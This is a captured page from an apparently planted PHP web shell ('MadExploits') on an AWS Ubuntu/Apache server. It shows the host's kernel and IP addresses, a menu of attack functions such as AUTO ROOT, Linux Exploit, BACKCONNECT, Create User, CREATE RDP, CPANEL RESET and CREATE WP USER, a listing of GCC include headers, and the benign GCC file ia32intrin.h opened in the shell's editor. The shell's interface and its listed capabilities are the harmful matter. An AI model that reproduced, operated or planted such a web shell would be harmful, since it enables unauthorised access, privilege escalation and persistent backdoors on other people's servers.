Linux ip-172-26-2-223 5.4.0-1018-aws #18-Ubuntu SMP Wed Jun 24 01:15:00 UTC 2020 x86_64
Apache
: 172.26.2.223 | : 18.221.70.17
Cant Read [ /etc/named.conf ]
8.1.13
www
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
lib /
gcc /
x86_64-linux-gnu /
9 /
include /
[ HOME SHELL ]
Name
Size
Permission
Action
sanitizer
[ DIR ]
drwxr-xr-x
adxintrin.h
2.76
KB
-rw-r--r--
ammintrin.h
3.14
KB
-rw-r--r--
avx2intrin.h
57.26
KB
-rw-r--r--
avx5124fmapsintrin.h
6.38
KB
-rw-r--r--
avx5124vnniwintrin.h
4.16
KB
-rw-r--r--
avx512bitalgintrin.h
8.64
KB
-rw-r--r--
avx512bwintrin.h
99.13
KB
-rw-r--r--
avx512cdintrin.h
5.69
KB
-rw-r--r--
avx512dqintrin.h
83.37
KB
-rw-r--r--
avx512erintrin.h
12.66
KB
-rw-r--r--
avx512fintrin.h
499.3
KB
-rw-r--r--
avx512ifmaintrin.h
3.35
KB
-rw-r--r--
avx512ifmavlintrin.h
5.26
KB
-rw-r--r--
avx512pfintrin.h
10.05
KB
-rw-r--r--
avx512vbmi2intrin.h
19.35
KB
-rw-r--r--
avx512vbmi2vlintrin.h
36.25
KB
-rw-r--r--
avx512vbmiintrin.h
4.81
KB
-rw-r--r--
avx512vbmivlintrin.h
8.17
KB
-rw-r--r--
avx512vlbwintrin.h
140.48
KB
-rw-r--r--
avx512vldqintrin.h
59.88
KB
-rw-r--r--
avx512vlintrin.h
415.51
KB
-rw-r--r--
avx512vnniintrin.h
4.85
KB
-rw-r--r--
avx512vnnivlintrin.h
8.05
KB
-rw-r--r--
avx512vpopcntdqintrin.h
3.04
KB
-rw-r--r--
avx512vpopcntdqvlintrin.h
4.56
KB
-rw-r--r--
avxintrin.h
49.43
KB
-rw-r--r--
backtrace-supported.h
2.91
KB
-rw-r--r--
backtrace.h
8.87
KB
-rw-r--r--
bmi2intrin.h
3.31
KB
-rw-r--r--
bmiintrin.h
5.5
KB
-rw-r--r--
bmmintrin.h
1.13
KB
-rw-r--r--
cet.h
2.6
KB
-rw-r--r--
cetintrin.h
3.25
KB
-rw-r--r--
cldemoteintrin.h
1.58
KB
-rw-r--r--
clflushoptintrin.h
1.62
KB
-rw-r--r--
clwbintrin.h
1.55
KB
-rw-r--r--
clzerointrin.h
1.46
KB
-rw-r--r--
cpuid.h
8.86
KB
-rw-r--r--
cross-stdarg.h
2.5
KB
-rw-r--r--
emmintrin.h
50.21
KB
-rw-r--r--
f16cintrin.h
3.33
KB
-rw-r--r--
float.h
16.58
KB
-rw-r--r--
fma4intrin.h
8.92
KB
-rw-r--r--
fmaintrin.h
9.88
KB
-rw-r--r--
fxsrintrin.h
2.01
KB
-rw-r--r--
gcov.h
1.36
KB
-rw-r--r--
gfniintrin.h
14.7
KB
-rw-r--r--
ia32intrin.h
7.69
KB
-rw-r--r--
immintrin.h
6.31
KB
-rw-r--r--
iso646.h
1.24
KB
-rw-r--r--
limits.h
5.95
KB
-rw-r--r--
lwpintrin.h
3.32
KB
-rw-r--r--
lzcntintrin.h
2.34
KB
-rw-r--r--
mm3dnow.h
6.91
KB
-rw-r--r--
mm_malloc.h
1.74
KB
-rw-r--r--
mmintrin.h
30.62
KB
-rw-r--r--
movdirintrin.h
2.29
KB
-rw-r--r--
mwaitxintrin.h
1.71
KB
-rw-r--r--
nmmintrin.h
1.26
KB
-rw-r--r--
omp.h
7.26
KB
-rw-r--r--
openacc.h
5.44
KB
-rw-r--r--
pconfigintrin.h
2.29
KB
-rw-r--r--
pkuintrin.h
1.7
KB
-rw-r--r--
pmmintrin.h
4.27
KB
-rw-r--r--
popcntintrin.h
1.71
KB
-rw-r--r--
prfchwintrin.h
1.41
KB
-rw-r--r--
quadmath.h
9.14
KB
-rw-r--r--
quadmath_weak.h
3.13
KB
-rw-r--r--
rdseedintrin.h
1.97
KB
-rw-r--r--
rtmintrin.h
2.67
KB
-rw-r--r--
sgxintrin.h
6.92
KB
-rw-r--r--
shaintrin.h
3.13
KB
-rw-r--r--
smmintrin.h
27.74
KB
-rw-r--r--
stdalign.h
1.18
KB
-rw-r--r--
stdarg.h
3.98
KB
-rw-r--r--
stdatomic.h
9.1
KB
-rw-r--r--
stdbool.h
1.49
KB
-rw-r--r--
stddef.h
12.66
KB
-rw-r--r--
stdfix.h
5.86
KB
-rw-r--r--
stdint-gcc.h
9.24
KB
-rw-r--r--
stdint.h
328
B
-rw-r--r--
stdnoreturn.h
1.11
KB
-rw-r--r--
syslimits.h
330
B
-rw-r--r--
tbmintrin.h
5.12
KB
-rw-r--r--
tmmintrin.h
8.15
KB
-rw-r--r--
unwind.h
10.65
KB
-rw-r--r--
vaesintrin.h
3.39
KB
-rw-r--r--
varargs.h
139
B
-rw-r--r--
vpclmulqdqintrin.h
2.66
KB
-rw-r--r--
waitpkgintrin.h
1.95
KB
-rw-r--r--
wbnoinvdintrin.h
1.58
KB
-rw-r--r--
wmmintrin.h
4.55
KB
-rw-r--r--
x86intrin.h
1.4
KB
-rw-r--r--
xmmintrin.h
41.39
KB
-rw-r--r--
xopintrin.h
27.9
KB
-rw-r--r--
xsavecintrin.h
1.78
KB
-rw-r--r--
xsaveintrin.h
2.41
KB
-rw-r--r--
xsaveoptintrin.h
1.81
KB
-rw-r--r--
xsavesintrin.h
2.11
KB
-rw-r--r--
xtestintrin.h
1.65
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ia32intrin.h
/* Copyright (C) 2009-2019 Free Software Foundation, Inc. This file is part of GCC. GCC is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3, or (at your option) any later version. GCC is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. Under Section 7 of GPL version 3, you are granted additional permissions described in the GCC Runtime Library Exception, version 3.1, as published by the Free Software Foundation. You should have received a copy of the GNU General Public License and a copy of the GCC Runtime Library Exception along with this program; see the files COPYING3 and COPYING.RUNTIME respectively. If not, see <http://www.gnu.org/licenses/>. */ #ifndef _X86INTRIN_H_INCLUDED # error "Never use <ia32intrin.h> directly; include <x86intrin.h> instead." #endif /* 32bit bsf */ extern __inline int __attribute__((__gnu_inline__, __always_inline__, __artificial__)) __bsfd (int __X) { return __builtin_ctz (__X); } /* 32bit bsr */ extern __inline int __attribute__((__gnu_inline__, __always_inline__, __artificial__)) __bsrd (int __X) { return __builtin_ia32_bsrsi (__X); } /* 32bit bswap */ extern __inline int __attribute__((__gnu_inline__, __always_inline__, __artificial__)) __bswapd (int __X) { return __builtin_bswap32 (__X); } #ifndef __iamcu__ #ifndef __SSE4_2__ #pragma GCC push_options #pragma GCC target("sse4.2") #define __DISABLE_SSE4_2__ #endif /* __SSE4_2__ */ /* 32bit accumulate CRC32 (polynomial 0x11EDC6F41) value. */ extern __inline unsigned int __attribute__((__gnu_inline__, __always_inline__, __artificial__)) __crc32b (unsigned int __C, unsigned char __V) { return __builtin_ia32_crc32qi (__C, __V); } extern __inline unsigned int __attribute__((__gnu_inline__, __always_inline__, __artificial__)) __crc32w (unsigned int __C, unsigned short __V) { return __builtin_ia32_crc32hi (__C, __V); } extern __inline unsigned int __attribute__((__gnu_inline__, __always_inline__, __artificial__)) __crc32d (unsigned int __C, unsigned int __V) { return __builtin_ia32_crc32si (__C, __V); } #ifdef __DISABLE_SSE4_2__ #undef __DISABLE_SSE4_2__ #pragma GCC pop_options #endif /* __DISABLE_SSE4_2__ */ #endif /* __iamcu__ */ /* 32bit popcnt */ extern __inline int __attribute__((__gnu_inline__, __always_inline__, __artificial__)) __popcntd (unsigned int __X) { return __builtin_popcount (__X); } #ifndef __iamcu__ /* rdpmc */ extern __inline unsigned long long __attribute__((__gnu_inline__, __always_inline__, __artificial__)) __rdpmc (int __S) { return __builtin_ia32_rdpmc (__S); } #endif /* __iamcu__ */ /* rdtsc */ extern __inline unsigned long long __attribute__((__gnu_inline__, __always_inline__, __artificial__)) __rdtsc (void) { return __builtin_ia32_rdtsc (); } #ifndef __iamcu__ /* rdtscp */ extern __inline unsigned long long __attribute__((__gnu_inline__, __always_inline__, __artificial__)) __rdtscp (unsigned int *__A) { return __builtin_ia32_rdtscp (__A); } #endif /* __iamcu__ */ /* 8bit rol */ extern __inline unsigned char __attribute__((__gnu_inline__, __always_inline__, __artificial__)) __rolb (unsigned char __X, int __C) { return __builtin_ia32_rolqi (__X, __C); } /* 16bit rol */ extern __inline unsigned short __attribute__((__gnu_inline__, __always_inline__, __artificial__)) __rolw (unsigned short __X, int __C) { return __builtin_ia32_rolhi (__X, __C); } /* 32bit rol */ extern __inline unsigned int __attribute__((__gnu_inline__, __always_inline__, __artificial__)) __rold (unsigned int __X, int __C) { __C &= 31; return (__X << __C) | (__X >> (-__C & 31)); } /* 8bit ror */ extern __inline unsigned char __attribute__((__gnu_inline__, __always_inline__, __artificial__)) __rorb (unsigned char __X, int __C) { return __builtin_ia32_rorqi (__X, __C); } /* 16bit ror */ extern __inline unsigned short __attribute__((__gnu_inline__, __always_inline__, __artificial__)) __rorw (unsigned short __X, int __C) { return __builtin_ia32_rorhi (__X, __C); } /* 32bit ror */ extern __inline unsigned int __attribute__((__gnu_inline__, __always_inline__, __artificial__)) __rord (unsigned int __X, int __C) { __C &= 31; return (__X >> __C) | (__X << (-__C & 31)); } /* Pause */ extern __inline void __attribute__((__gnu_inline__, __always_inline__, __artificial__)) __pause (void) { __builtin_ia32_pause (); } #ifdef __x86_64__ /* 64bit bsf */ extern __inline int __attribute__((__gnu_inline__, __always_inline__, __artificial__)) __bsfq (long long __X) { return __builtin_ctzll (__X); } /* 64bit bsr */ extern __inline int __attribute__((__gnu_inline__, __always_inline__, __artificial__)) __bsrq (long long __X) { return __builtin_ia32_bsrdi (__X); } /* 64bit bswap */ extern __inline long long __attribute__((__gnu_inline__, __always_inline__, __artificial__)) __bswapq (long long __X) { return __builtin_bswap64 (__X); } #ifndef __SSE4_2__ #pragma GCC push_options #pragma GCC target("sse4.2") #define __DISABLE_SSE4_2__ #endif /* __SSE4_2__ */ /* 64bit accumulate CRC32 (polynomial 0x11EDC6F41) value. */ extern __inline unsigned long long __attribute__((__gnu_inline__, __always_inline__, __artificial__)) __crc32q (unsigned long long __C, unsigned long long __V) { return __builtin_ia32_crc32di (__C, __V); } #ifdef __DISABLE_SSE4_2__ #undef __DISABLE_SSE4_2__ #pragma GCC pop_options #endif /* __DISABLE_SSE4_2__ */ /* 64bit popcnt */ extern __inline long long __attribute__((__gnu_inline__, __always_inline__, __artificial__)) __popcntq (unsigned long long __X) { return __builtin_popcountll (__X); } /* 64bit rol */ extern __inline unsigned long long __attribute__((__gnu_inline__, __always_inline__, __artificial__)) __rolq (unsigned long long __X, int __C) { __C &= 63; return (__X << __C) | (__X >> (-__C & 63)); } /* 64bit ror */ extern __inline unsigned long long __attribute__((__gnu_inline__, __always_inline__, __artificial__)) __rorq (unsigned long long __X, int __C) { __C &= 63; return (__X >> __C) | (__X << (-__C & 63)); } /* Read flags register */ extern __inline unsigned long long __attribute__((__gnu_inline__, __always_inline__, __artificial__)) __readeflags (void) { return __builtin_ia32_readeflags_u64 (); } /* Write flags register */ extern __inline void __attribute__((__gnu_inline__, __always_inline__, __artificial__)) __writeeflags (unsigned long long __X) { __builtin_ia32_writeeflags_u64 (__X); } #define _bswap64(a) __bswapq(a) #define _popcnt64(a) __popcntq(a) #else /* Read flags register */ extern __inline unsigned int __attribute__((__gnu_inline__, __always_inline__, __artificial__)) __readeflags (void) { return __builtin_ia32_readeflags_u32 (); } /* Write flags register */ extern __inline void __attribute__((__gnu_inline__, __always_inline__, __artificial__)) __writeeflags (unsigned int __X) { __builtin_ia32_writeeflags_u32 (__X); } #endif /* On LP64 systems, longs are 64-bit. Use the appropriate rotate * function. */ #ifdef __LP64__ #define _lrotl(a,b) __rolq((a), (b)) #define _lrotr(a,b) __rorq((a), (b)) #else #define _lrotl(a,b) __rold((a), (b)) #define _lrotr(a,b) __rord((a), (b)) #endif #define _bit_scan_forward(a) __bsfd(a) #define _bit_scan_reverse(a) __bsrd(a) #define _bswap(a) __bswapd(a) #define _popcnt32(a) __popcntd(a) #ifndef __iamcu__ #define _rdpmc(a) __rdpmc(a) #define _rdtscp(a) __rdtscp(a) #endif /* __iamcu__ */ #define _rdtsc() __rdtsc() #define _rotwl(a,b) __rolw((a), (b)) #define _rotwr(a,b) __rorw((a), (b)) #define _rotl(a,b) __rold((a), (b)) #define _rotr(a,b) __rord((a), (b))
Close